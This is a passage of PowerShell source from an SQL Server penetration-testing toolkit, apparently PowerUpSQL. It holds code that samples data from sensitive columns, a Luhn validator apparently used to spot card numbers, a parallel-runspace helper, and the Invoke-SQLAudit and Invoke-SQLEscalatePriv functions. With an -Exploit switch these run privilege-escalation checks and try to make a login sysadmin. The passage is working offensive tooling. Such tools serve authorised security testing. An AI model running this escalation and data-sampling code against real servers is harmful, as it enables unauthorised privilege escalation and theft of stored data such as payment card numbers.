"$Instance : - EXPLOITING: Selecting data sample from column $AffectedColumn." # Query for data $DataSample = Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query $Query -SuppressVerbose | ConvertTo-Csv -NoTypeInformation | Select-Object -Skip 1 if($DataSample) { $Details = "Data sample from $AffectedColumn : $DataSample." } else { $Details = "No data found in affected column: $AffectedColumn." } $IsExploitable = 'Yes' $Exploited = 'Yes' # Add record $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } else { # Add affected column list $Details = "Affected column: $AffectedColumn." $IsExploitable = 'Yes' $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) } } } else { Write-Verbose -Message "$Instance : - No columns were found that matched the search." } # Status User Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: SEARCH DATA BY COLUMN" } End { # Return data if ( -not $NoOutput) { Return $TblData } } } #endregion ######################################################################### # #region THIRD PARTY FUNCTIONS # ######################################################################### # ------------------------------------------- # Function: Test-IsLuhnValid # ------------------------------------------- # Author: ØYVIND KALLSTAD # Source: https://communary.net/2016/02/19/the-luhn-algorithm/ function Test-IsLuhnValid { <# .SYNOPSIS Valdidate a number based on the Luhn Algorithm. .DESCRIPTION This function uses the Luhn algorithm to validate a number that includes the Luhn checksum digit. .EXAMPLE Test-IsLuhnValid -Number 1234567890123452 This will validate whether the number is valid according to the Luhn Algorithm. .INPUTS System.UInt64 .OUTPUTS System.Boolean .NOTES Author: ØYVIND KALLSTAD Date: 19.02.2016 Version: 1.0 Dependencies: Get-LuhnCheckSum, ConvertTo-Digits .LINKS https://en.wikipedia.org/wiki/Luhn_algorithm https://communary.wordpress.com/ https://github.com/gravejester/Communary.ToolBox #> [CmdletBinding()] param ( [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline = $true)] [uint64]$Number ) $numberDigits = ConvertTo-Digits -Number $Number $checksumDigit = $numberDigits[-1] $numberWithoutChecksumDigit = $numberDigits[0..($numberDigits.Count - 2)] -join '' $checksum = Get-LuhnCheckSum -Number $numberWithoutChecksumDigit $NumCount = ([string]$numberWithoutChecksumDigit).Length if ((($checksum + $checksumDigit) % 10) -eq 0 -and $NumCount -ge 12) { Write-Output -InputObject $true } else { Write-Output -InputObject $false } } # ------------------------------------------- # Function: ConvertTo-Digits # ------------------------------------------- # Author: ØYVIND KALLSTAD # Source: https://communary.net/2016/02/19/the-luhn-algorithm/ function ConvertTo-Digits { <# .SYNOPSIS Convert an integer into an array of bytes of its individual digits. .DESCRIPTION Convert an integer into an array of bytes of its individual digits. .EXAMPLE ConvertTo-Digits 145 .INPUTS System.UInt64 .LINK https://communary.wordpress.com/ https://github.com/gravejester/Communary.ToolBox .NOTES Author: ØYVIND KALLSTAD Date: 09.05.2015 Version: 1.0 #> [OutputType([System.Byte[]])] [CmdletBinding()] param( [Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)] [uint64]$Number ) $n = $Number $numberOfDigits = 1 + [convert]::ToUInt64([math]::Floor(([math]::Log10($n)))) $digits = New-Object -TypeName Byte[] -ArgumentList $numberOfDigits for ($i = ($numberOfDigits - 1); $i -ge 0; $i--) { $digit = $n % 10 $digits[$i] = $digit $n = [math]::Floor($n / 10) } Write-Output -InputObject $digits } # ------------------------------------------- # Function: Invoke-Parallel # ------------------------------------------- # Author: RamblingCookieMonster # Source: https://github.com/RamblingCookieMonster/Invoke-Parallel # Notes: Added "ImportSessionFunctions" to import custom functions from the current session into the runspace pool. function Invoke-Parallel { <# .SYNOPSIS Function to control parallel processing using runspaces .DESCRIPTION Function to control parallel processing using runspaces Note that each runspace will not have access to variables and commands loaded in your session or in other runspaces by default. This behaviour can be changed with parameters. .PARAMETER ScriptFile File to run against all input objects. Must include parameter to take in the input object, or use $args. Optionally, include parameter to take in parameter. Example: C:\script.ps1 .PARAMETER ScriptBlock Scriptblock to run against all computers. You may use $Using: language in PowerShell 3 and later. The parameter block is added for you, allowing behaviour similar to foreach-object: Refer to the input object as $_. Refer to the parameter parameter as $parameter .PARAMETER InputObject Run script against these specified objects. .PARAMETER Parameter This object is passed to every script block. You can use it to pass information to the script block; for example, the path to a logging folder Reference this object as $parameter if using the scriptblock parameterset. .PARAMETER ImportVariables If specified, get user session variables and add them to the initial session state .PARAMETER ImportModules If specified, get loaded modules and pssnapins, add them to the initial session state .PARAMETER Throttle Maximum number of threads to run at a single time. .PARAMETER SleepTimer Milliseconds to sleep after checking for completed runspaces and in a few other spots. I would not recommend dropping below 200 or increasing above 500 .PARAMETER RunspaceTimeout Maximum time in seconds a single thread can run. If execution of your code takes longer than this, it is disposed. Default: 0 (seconds) WARNING: Using this parameter requires that maxQueue be set to throttle (it will be by default) for accurate timing. Details here: http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 .PARAMETER NoCloseOnTimeout Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out. This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. .PARAMETER MaxQueue Maximum number of powershell instances to add to runspace pool. If this is higher than $throttle, $timeout will be inaccurate If this is equal or less than throttle, there will be a performance impact The default value is $throttle times 3, if $runspaceTimeout is not specified The default value is $throttle, if $runspaceTimeout is specified .PARAMETER LogFile Path to a file where we can log results, including run time for each thread, whether it completes, completes with errors, or times out. .PARAMETER Quiet Disable progress bar. .EXAMPLE Each example uses Test-ForPacs.ps1 which includes the following code: param($computer) if(test-connection $computer -count 1 -quiet -BufferSize 16){ $object = [pscustomobject] @{ Computer=$computer; Available=1; Kodak=$( if((test-path "\\$computer\c$\users\public\desktop\Kodak Direct View Pacs.url") -or (test-path "\\$computer\c$\documents and settings\all users \desktop\Kodak Direct View Pacs.url") ){"1"}else{"0"} ) } } else{ $object = [pscustomobject] @{ Computer=$computer; Available=0; Kodak="NA" } } $object .EXAMPLE Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject $(get-content C:\pcs.txt) -runspaceTimeout 10 -throttle 10 Pulls list of PCs from C:\pcs.txt, Runs Test-ForPacs against each If any query takes longer than 10 seconds, it is disposed Only run 10 threads at a time .EXAMPLE Invoke-Parallel -scriptfile C:\public\Test-ForPacs.ps1 -inputobject c-is-ts-91, c-is-ts-95 Runs against c-is-ts-91, c-is-ts-95 (-computername) Runs Test-ForPacs against each .EXAMPLE $stuff = [pscustomobject] @{ ContentFile = "windows\system32\drivers\etc\hosts" Logfile = "C:\temp\log.txt" } $computers | Invoke-Parallel -parameter $stuff { $contentFile = join-path "\\$_\c$" $parameter.contentfile Get-Content $contentFile | set-content $parameter.logfile } This example uses the parameter argument. This parameter is a single object. To pass multiple items into the script block, we create a custom object (using a PowerShell v3 language) with properties we want to pass in. Inside the script block, $parameter is used to reference this parameter object. This example sets a content file, gets content from that file, and sets it to a predefined log file. .EXAMPLE $test = 5 1..2 | Invoke-Parallel -ImportVariables {$_ * $test} Add variables from the current session to the session state. Without -ImportVariables $Test would not be accessible .EXAMPLE $test = 5 1..2 | Invoke-Parallel {$_ * $Using:test} Reference a variable from the current session with the $Using: syntax. Requires PowerShell 3 or later. Note that -ImportVariables parameter is no longer necessary. .FUNCTIONALITY PowerShell Language .NOTES Credit to Boe Prox for the base runspace code and $Using implementation http://learn-powershell.net/2012/05/10/speedy-network-information-query-using-powershell/ http://gallery.technet.microsoft.com/scriptcenter/Speedy-Network-Information-5b1406fb#content https://github.com/proxb/PoshRSJob/ Credit to T Bryce Yehl for the Quiet and NoCloseOnTimeout implementations Credit to Sergei Vorobev for the many ideas and contributions that have improved functionality, reliability, and ease of use .LINK https://github.com/RamblingCookieMonster/Invoke-Parallel #> [cmdletbinding(DefaultParameterSetName = 'ScriptBlock')] Param ( [Parameter(Mandatory = $false,position = 0,ParameterSetName = 'ScriptBlock')] [System.Management.Automation.ScriptBlock]$ScriptBlock, [Parameter(Mandatory = $false,ParameterSetName = 'ScriptFile')] [ValidateScript({ Test-Path $_ -PathType leaf })] $ScriptFile, [Parameter(Mandatory = $true,ValueFromPipeline = $true)] [Alias('CN','__Server','IPAddress','Server','ComputerName')] [PSObject]$InputObject, [PSObject]$Parameter, [switch]$ImportSessionFunctions, [switch]$ImportVariables, [switch]$ImportModules, [int]$Throttle = 20, [int]$SleepTimer = 200, [int]$RunspaceTimeout = 0, [switch]$NoCloseOnTimeout = $false, [int]$MaxQueue, [validatescript({ Test-Path (Split-Path -Path $_ -Parent) })] [string]$LogFile = 'C:\temp\log.log', [switch] $Quiet = $false ) Begin { #No max queue specified? Estimate one. #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) { if($RunspaceTimeout -ne 0) { $script:MaxQueue = $Throttle } else { $script:MaxQueue = $Throttle * 3 } } else { $script:MaxQueue = $MaxQueue } #Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items if ($ImportVariables -or $ImportModules) { $StandardUserEnv = [powershell]::Create().addscript({ #Get modules and snapins in this clean runspace $Modules = Get-Module | Select-Object -ExpandProperty Name $Snapins = Get-PSSnapin | Select-Object -ExpandProperty Name #Get variables in this clean runspace #Called last to get vars like $? into session $Variables = Get-Variable | Select-Object -ExpandProperty Name #Return a hashtable where we can access each. @{ Variables = $Variables Modules = $Modules Snapins = $Snapins } }).invoke()[0] if ($ImportVariables) { #Exclude common parameters, bound parameters, and automatic variables Function _temp { [cmdletbinding()] param() } $VariablesToExclude = @( (Get-Command _temp | Select-Object -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) #Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" # we don't use 'Get-Variable -Exclude', because it uses regexps. # One of the veriables that we pass is '$?'. # There could be other variables with such problems. # Scope 2 required if we move to a real module $UserVariables = @( Get-Variable | Where-Object -FilterScript { -not ($VariablesToExclude -contains $_.Name) } ) #Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" } if ($ImportModules) { $UserModules = @( Get-Module | Where-Object -FilterScript { $StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path -Path $_.Path -ErrorAction SilentlyContinue) } | Select-Object -ExpandProperty Path ) $UserSnapins = @( Get-PSSnapin | Select-Object -ExpandProperty Name | Where-Object -FilterScript { $StandardUserEnv.Snapins -notcontains $_ } ) } } #region functions Function Get-RunspaceData { [cmdletbinding()] param( [switch]$Wait ) #loop through runspaces #if $wait is specified, keep looping until all complete Do { #set more to false for tracking completion $more = $false #Progress bar if we have inputobject count (bound parameter) if (-not $Quiet) { Write-Progress -Activity 'Running Query' -Status 'Starting threads'` -CurrentOperation "$startedCount threads defined - $totalCount input objects - $script:completedCount input objects processed"` -PercentComplete $( Try { $script:completedCount / $totalCount * 100 } Catch { 0 } ) } #run through each runspace. Foreach($runspace in $runspaces) { #get the duration - inaccurate $currentdate = Get-Date $runtime = $currentdate - $runspace.startTime $runMin = [math]::Round( $runtime.totalminutes ,2 ) #set up log object $log = '' | Select-Object -Property Date, Action, Runtime, Status, Details $log.Action = "Removing:'$($runspace.object)'" $log.Date = $currentdate $log.Runtime = "$runMin minutes" #If runspace completed, end invoke, dispose, recycle, counter++ If ($runspace.Runspace.isCompleted) { $script:completedCount++ #check if there were errors if($runspace.powershell.Streams.Error.Count -gt 0) { #set the logging info and move the file to completed $log.status = 'CompletedWithErrors' #Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] foreach($ErrorRecord in $runspace.powershell.Streams.Error) { Write-Error -ErrorRecord $ErrorRecord } } else { #add logging details and cleanup $log.status = 'Completed' #Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] } #everything is logged, clean up the runspace $runspace.powershell.EndInvoke($runspace.Runspace) $runspace.powershell.dispose() $runspace.Runspace = $null $runspace.powershell = $null } #If runtime exceeds max, dispose the runspace ElseIf ( $RunspaceTimeout -ne 0 -and $runtime.totalseconds -gt $RunspaceTimeout) { $script:completedCount++ $timedOutTasks = $true #add logging details and cleanup $log.status = 'TimedOut' #Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] Write-Error -Message "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | Out-String)" #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance if (!$NoCloseOnTimeout) { $runspace.powershell.dispose() } $runspace.Runspace = $null $runspace.powershell = $null $completedCount++ } #If runspace isn't null set more to true ElseIf ($runspace.Runspace -ne $null ) { $log = $null $more = $true } #log the results if a log file was indicated <# if($logFile -and $log){ ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append } #> } #Clean out unused runspace jobs $temphash = $runspaces.clone() $temphash | Where-Object -FilterScript { $_.runspace -eq $null } | ForEach-Object -Process { $runspaces.remove($_) } #sleep for a bit if we will loop again if($PSBoundParameters['Wait']) { Start-Sleep -Milliseconds $SleepTimer } #Loop again only if -wait parameter and there are more runspaces to process } while ($more -and $PSBoundParameters['Wait']) #End of runspace function } #endregion functions #region Init if($PSCmdlet.ParameterSetName -eq 'ScriptFile') { $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | Out-String) ) } elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') { #Start building parameter names for the param block [string[]]$ParamsToAdd = '$_' if( $PSBoundParameters.ContainsKey('Parameter') ) { $ParamsToAdd += '$Parameter' } $UsingVariableData = $null # This code enables $Using support through the AST. # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! if($PSVersionTable.PSVersion.Major -gt 2) { #Extract using references $UsingVariables = $ScriptBlock.ast.FindAll({ $args[0] -is [System.Management.Automation.Language.UsingExpressionAst] },$true) If ($UsingVariables) { $List = New-Object -TypeName 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' ForEach ($Ast in $UsingVariables) { [void]$List.Add($Ast.SubExpression) } $UsingVar = $UsingVariables | Group-Object -Property SubExpression | ForEach-Object -Process { $_.Group | Select-Object -First 1 } #Extract the name, value, and create replacements for each $UsingVariableData = ForEach ($Var in $UsingVar) { Try { $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop [pscustomobject]@{ Name = $Var.SubExpression.Extent.Text Value = $Value.Value NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) } } Catch { Write-Error -Message "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" } } $ParamsToAdd += $UsingVariableData | Select-Object -ExpandProperty NewName -Unique $NewParams = $UsingVariableData.NewName -join ', ' $Tuple = [Tuple]::Create($List, $NewParams) $bindingFlags = [Reflection.BindingFlags]'Default,NonPublic,Instance' $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) $ScriptBlock = [scriptblock]::Create($StringScriptBlock) #Write-Verbose $StringScriptBlock } } $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ', '))`r`n" + $ScriptBlock.ToString()) } else { Throw 'Must provide ScriptBlock or ScriptFile' Break } Write-Debug -Message "`$ScriptBlock: $($ScriptBlock | Out-String)" Write-Verbose -Message 'Creating runspace pool and session states' #If specified, add variables and modules/snapins to session state $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() if ($ImportVariables) { if($UserVariables.count -gt 0) { foreach($Variable in $UserVariables) { $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) } } } if ($ImportModules) { if($UserModules.count -gt 0) { foreach($ModulePath in $UserModules) { $sessionstate.ImportPSModule($ModulePath) } } if($UserSnapins.count -gt 0) { foreach($PSSnapin in $UserSnapins) { [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) } } } # -------------------------------------------------- #region - Import Session Functions # -------------------------------------------------- # Import functions from the current session into the RunspacePool sessionstate if($ImportSessionFunctions) { # Import all session functions into the runspace session state from the current one Get-ChildItem -Path Function:\ | Where-Object -FilterScript { $_.name -notlike '*:*' } | Select-Object -Property name -ExpandProperty name | ForEach-Object -Process { # Get the function code $Definition = Get-Content -Path "function:\$_" -ErrorAction Stop # Create a sessionstate function with the same name and code $SessionStateFunction = New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList "$_", $Definition # Add the function to the session state $sessionstate.Commands.Add($SessionStateFunction) } } #endregion #Create runspace pool $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) $runspacepool.Open() #Write-Verbose "Creating empty collection to hold runspace jobs" $Script:runspaces = New-Object -TypeName System.Collections.ArrayList #If inputObject is bound get a total count and set bound to true $bound = $PSBoundParameters.keys -contains 'InputObject' if(-not $bound) { [System.Collections.ArrayList]$allObjects = @() } <# #Set up log file if specified if( $LogFile ){ New-Item -ItemType file -path $logFile -force | Out-Null ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile } #write initial log entry $log = "" | Select Date, Action, Runtime, Status, Details $log.Date = Get-Date $log.Action = "Batch processing started" $log.Runtime = $null $log.Status = "Started" $log.Details = $null if($logFile) { ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append } #> $timedOutTasks = $false #endregion INIT } Process { #add piped objects to all objects or set all objects to bound input object parameter if($bound) { $allObjects = $InputObject } Else { [void]$allObjects.add( $InputObject ) } } End { #Use Try/Finally to catch Ctrl+C and clean up. Try { #counts for progress $totalCount = $allObjects.count $script:completedCount = 0 $startedCount = 0 foreach($object in $allObjects) { #region add scripts to runspace pool #Create the powershell instance, set verbose if needed, supply the scriptblock and parameters $powershell = [powershell]::Create() if ($VerbosePreference -eq 'Continue') { [void]$powershell.AddScript({ $VerbosePreference = 'Continue' }) } [void]$powershell.AddScript($ScriptBlock).AddArgument($object) if ($Parameter) { [void]$powershell.AddArgument($Parameter) } # $Using support from Boe Prox if ($UsingVariableData) { Foreach($UsingVariable in $UsingVariableData) { #Write-Verbose "Adding $($UsingVariable.Name) with value: $($UsingVariable.Value)" [void]$powershell.AddArgument($UsingVariable.Value) } } #Add the runspace into the powershell instance $powershell.RunspacePool = $runspacepool #Create a temporary collection for each runspace $temp = '' | Select-Object -Property PowerShell, StartTime, object, Runspace $temp.PowerShell = $powershell $temp.StartTime = Get-Date $temp.object = $object #Save the handle output when calling BeginInvoke() that will be used later to end the runspace $temp.Runspace = $powershell.BeginInvoke() $startedCount++ #Add the temp tracking info to $runspaces collection #Write-Verbose ( "Adding {0} to collection at {1}" -f $temp.object, $temp.starttime.tostring() ) $null = $runspaces.Add($temp) #loop through existing runspaces one time Get-RunspaceData #If we have more running than max queue (used to control timeout accuracy) #Script scope resolves odd PowerShell 2 issue $firstRun = $true while ($runspaces.count -ge $script:MaxQueue) { #give verbose output if($firstRun) { #Write-Verbose "$($runspaces.count) items running - exceeded $Script:MaxQueue limit." } $firstRun = $false #run get-runspace data and sleep for a short while Get-RunspaceData Start-Sleep -Milliseconds $SleepTimer } #endregion add scripts to runspace pool } #Write-Verbose ( "Finish processing the remaining runspace jobs: {0}" -f ( @($runspaces | Where {$_.Runspace -ne $Null}).Count) ) Get-RunspaceData -wait if (-not $Quiet) { Write-Progress -Activity 'Running Query' -Status 'Starting threads' -Completed } } Finally { #Close the runspace pool, unless we specified no close on timeout and something timed out if ( ($timedOutTasks -eq $false) -or ( ($timedOutTasks -eq $true) -and ($NoCloseOnTimeout -eq $false) ) ) { Write-Verbose -Message 'Closing the runspace pool' $runspacepool.close() } #collect garbage [gc]::Collect() } } } #endregion ######################################################################### # #region Primary FUNCTIONs # Invoke-SQLDump, Invoke-SQLAudit, Invoke-SQLEscalatePriv # ######################################################################### # ---------------------------------- # Invoke-SQLAudit # ---------------------------------- # Author: Scott Sutherland Function Invoke-SQLAudit { <# .SYNOPSIS Audit for high impact weak configurations by running all privilege escalation checks. Note: Use the Exploit flag to attempt to obtain sysadmin privileges. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER NoOutput Don't output anything. .PARAMETER Exploit Exploit vulnerable issues. .PARAMETER OutFolder Folder to write results to csv. .EXAMPLE PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123! ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : PERMISSION - IMPERSONATE LOGIN Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges. Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user] Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : No ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit Details : evil can impersonate the sa SYSADMIN login. This test was ran with the evil login. Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 [TRUNCATED] .EXAMPLE PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123! -Exploit ComputerName : SQLServer1 Instance : SQLServer1\STANDARDDEV2014 Vulnerability : PERMISSION - IMPERSONATE LOGIN Description : The current SQL Server login can impersonate other logins. This may allow an authenticated login to gain additional privileges. Remediation : Consider using an alterative to impersonation such as signed stored procedures. Impersonation is enabled using a command like: GRANT IMPERSONATE ON Login::sa to [user]. It can be removed using a command like: REVOKE IMPERSONATE ON Login::sa to [user] Severity : High IsVulnerable : Yes IsExploitable : Yes Exploited : Yes ExploitCmd : Invoke-SQLAuditPrivImpersonateLogin -Instance SQLServer1\STANDARDDEV2014 -Exploit Details : evil can impersonate the sa SYSADMIN login. This test was ran with the evil login. Reference : https://msdn.microsoft.com/en-us/library/ms181362.aspx Author : Scott Sutherland (@_nullbind), NetSPI 2016 .EXAMPLE PS C:\> Invoke-SQLAudit -Instance SQLServer1\STANDARDDEV2014 -user evil -Password Password123! -OutFolder c:\temp [TRUNCATED] #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = "Don't output anything.")] [switch]$NoOutput, [Parameter(Mandatory = $false, HelpMessage = 'Exploit vulnerable issues.')] [switch]$Exploit, [Parameter(Mandatory = $false, HelpMessage = 'Folder to write results to csv.')] [string]$OutFolder ) Begin { # Table for output $TblData = New-Object -TypeName System.Data.DataTable $null = $TblData.Columns.Add('ComputerName') $null = $TblData.Columns.Add('Instance') $null = $TblData.Columns.Add('Vulnerability') $null = $TblData.Columns.Add('Description') $null = $TblData.Columns.Add('Remediation') $null = $TblData.Columns.Add('Severity') $null = $TblData.Columns.Add('IsVulnerable') $null = $TblData.Columns.Add('IsExploitable') $null = $TblData.Columns.Add('Exploited') $null = $TblData.Columns.Add('ExploitCmd') $null = $TblData.Columns.Add('Details') $null = $TblData.Columns.Add('Reference') $null = $TblData.Columns.Add('Author') # Table for escalation functions $TblVulnFunc = New-Object -TypeName System.Data.DataTable $null = $TblVulnFunc.Columns.Add('FunctionName') $null = $TblVulnFunc.Columns.Add('Type') $TblVulnFunc.Clear() Write-Verbose -Message 'LOADING VULNERABILITY CHECKS.' # Load list of vulnerability check functions - Server / database $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditWeakLoginPw','Server') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivImpersonateLogin','Server') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivServerLink','Server') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivTrustworthy','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivDbChaining','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivCreateProcedure','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivXpDirtree','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditPrivXpFileexist','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditRoleDbDdlAdmin','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditRoleDbOwner','Database') $null = $TblVulnFunc.Rows.Add('Invoke-SQLAuditSampleDataByColumn','Database') Write-Verbose -Message 'RUNNING VULNERABILITY CHECKS.' } Process { # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { Return } # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Status user Write-Verbose -Message "$Instance : RUNNING VULNERABILITY CHECKS..." # Iterate through each function $TblVulnFunc | ForEach-Object -Process { # Get function name $FunctionName = $_.FunctionName # Run function if($Exploit) { $TblTemp = Invoke-Expression -Command "$FunctionName -Instance '$Instance' -Username '$Username' -Password '$Password' -Exploit" } else { $TblTemp = Invoke-Expression -Command "$FunctionName -Instance '$Instance' -Username '$Username' -Password '$Password'" } # Append function output to results table $TblData = $TblData + $TblTemp } # Status user Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK." } End { # Status user Write-Verbose -Message 'COMPLETED ALL VULNERABILITY CHECKS.' # Setup output directory and write results if($OutFolder) { $OutFolderCmd = "echo test > $OutFolder\test.txt" $CheckAccess = (Invoke-Expression -Command $OutFolderCmd) 2>&1 if($CheckAccess -like '*denied.') { Write-Verbose -Object 'Access denied to output directory.' Return } else { Write-Verbose -Message 'Verified write access to output directory.' $RemoveCmd = "del $OutFolder\test.txt" Invoke-Expression -Command $RemoveCmd $OutPutInstance = $Instance.Replace('\','-').Replace(',','-') $OutPutPath = "$OutFolder\"+'PowerUpSQL_Audit_Results_'+$OutPutInstance+'.csv' $OutPutInstance $OutPutPath $TblData | Export-Csv -NoTypeInformation $OutPutPath } } # Return full results table if ( -not $NoOutput) { Return $TblData } } } # ---------------------------------- # Invoke-SQLEscalatePriv # ---------------------------------- # Author: Scott Sutherland Function Invoke-SQLEscalatePriv { <# .SYNOPSIS This function can be used to attempt to obtain sysadmin privileges via identify vulnerabilities. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .EXAMPLE PS C:\> Invoke-SQLEscalatePriv -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123! #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance ) Begin { } Process { # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { Return } # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } # Check for sysadmin Write-Verbose -Message "$Instance : Checking if you're already a sysadmin..." $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin -eq 'Yes') { Write-Verbose -Message "$Instance : You are, so nothing to do here. :)" } else { Write-Verbose -Message "$Instance : You're not a sysadmin, attempting to change that..." Invoke-SQLAudit -Instance $Instance -Username $Username -Password $Password -Credential $Credential -NoOutput -Exploit # Check for sysadmin again $IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin if($IsSysadmin2 -eq 'Yes') { Write-Verbose -Message "$Instance : Success! You are now a sysadmin!" } else { Write-Verbose -Message "$Instance : Fail. We couldn't get you sysadmin access today." } } } End { } } # ---------------------------------- # Invoke-SQLDumpInfo # ---------------------------------- # Author: Scott Sutherland Function Invoke-SQLDumpInfo { <# 